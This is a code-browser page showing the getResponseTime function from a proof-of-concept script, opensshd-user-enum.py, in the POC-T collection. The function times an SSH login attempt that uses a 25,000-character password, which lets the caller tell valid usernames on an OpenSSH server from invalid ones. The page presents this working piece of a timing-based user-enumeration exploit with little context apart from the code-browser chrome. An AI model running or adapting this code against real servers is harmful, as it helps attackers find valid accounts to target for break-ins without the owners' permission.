MCPcopy
hub / github.com/Xyntax/POC-T / getResponseTime

Function getResponseTime

script/opensshd-user-enum.py:22–37  ·  view source on GitHub ↗
(user, host)

Source from the content-addressed store, hash-verified

20
21
22def getResponseTime(user, host):
23 port = int(host.split(':')[-1]) if ':' in host else 22
24 host = host.split(':')[0]
25
26 pwd = 'A' * 25000
27 ssh = paramiko.SSHClient()
28 starttime = time.clock()
29 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
30 try:
31 ssh.connect(host, port=port, username=user, password=pwd)
32 except Exception, e:
33 pass
34 finally:
35 endtime = time.clock()
36 total = endtime - starttime
37 return total
38
39
40def poc(host):

Callers 1

pocFunction · 0.85

Calls 2

splitMethod · 0.80
connectMethod · 0.45

Tested by

no test coverage detected